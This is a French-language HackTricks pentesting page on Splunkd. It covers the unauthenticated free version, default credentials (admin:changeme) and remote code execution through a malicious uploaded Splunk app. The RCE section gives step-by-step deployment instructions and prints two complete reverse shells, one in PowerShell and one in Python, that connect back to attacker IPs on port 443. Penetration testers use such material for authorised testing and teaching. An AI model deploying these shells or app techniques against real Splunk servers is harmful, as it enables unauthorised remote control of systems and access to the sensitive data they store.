4.5 KiB

8089 - Pentesting Splunkd

{{#include ../banners/hacktricks-training.md}}

Informations de base

  • Outil d'analyse de logs utilisé pour la collecte, l'analyse et la visualisation des données
  • Couramment utilisé dans la surveillance de la sécurité et l'analyse commerciale
  • Ports par défaut :
  • Serveur web : 8000
  • Service Splunkd : 8089

Vecteurs de vulnérabilité :

  1. Exploitation de la version gratuite
  • La version d'essai se convertit automatiquement en version gratuite après 60 jours
  • La version gratuite manque d'authentification
  • Risque de sécurité potentiel si elle n'est pas gérée
  • Les administrateurs peuvent négliger les implications de sécurité
  1. Faiblesses des identifiants
  • Anciennes versions : Identifiants par défaut admin:changeme
  • Nouvelles versions : Identifiants définis lors de l'installation
  • Potentiel d'utilisation de mots de passe faibles (par exemple, admin, Welcome, Password123)
  1. Opportunités d'exécution de code à distance
  • Plusieurs méthodes d'exécution de code :
  • Applications Django côté serveur
  • Points de terminaison REST
  • Entrées scriptées
  • Scripts d'alerte
  • Support multiplateforme (Windows/Linux)
  • Les entrées scriptées peuvent exécuter :
  • Scripts Bash
  • Scripts PowerShell
  • Scripts Batch

Potentiel d'exploitation clé :

  • Stockage de données sensibles
  • Manque d'authentification dans la version gratuite
  • Multiples vecteurs pour une potentielle exécution de code à distance
  • Possibilité d'exploiter des entrées scriptées pour compromettre le système

Shodan

  • Splunk build

RCE

Créer une application personnalisée

Splunk offre une méthode sophistiquée pour l'exécution de code à distance via le déploiement d'applications personnalisées, tirant parti de ses capacités de script multiplateformes. La technique d'exploitation principale consiste à créer une application malveillante capable d'exécuter des shells inversés sur les systèmes Windows et Linux.

Une application personnalisée peut exécuter des scripts Python, Batch, Bash ou PowerShell. De plus, Splunk est livré avec Python installé, donc même sur des systèmes Windows, vous pourrez exécuter du code Python.

Vous pouvez utiliser cet exemple avec le bin contenant un exemple pour Python et PowerShell. Ou vous pourriez créer le vôtre.

Le processus d'exploitation suit une méthodologie cohérente à travers les plateformes :

splunk_shell/
├── bin        (reverse shell scripts)
└── default    (inputs.conf configuration)

Le fichier de configuration critique inputs.conf active le script en :

  • Définissant disabled = 0
  • Configurant un intervalle d'exécution de 10 secondes
  • Définissant le type de source du script

Le déploiement est simple :

  1. Créer le package d'application malveillant
  2. Configurer un écouteur (Netcat/socat) sur la machine attaquante
  3. Télécharger l'application via l'interface de Splunk
  4. Déclencher l'exécution automatique du script lors du téléchargement

Exemple de shell inversé Windows PowerShell :

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()

Exemple de shell inverse Python sur Linux :

import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')

RCE & Escalade de privilèges

Dans la page suivante, vous pouvez trouver une explication sur la façon dont ce service peut être abusé pour escalader les privilèges et obtenir une persistance :

{{#ref}} ../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md {{#endref}}

Références

{{#include ../banners/hacktricks-training.md}}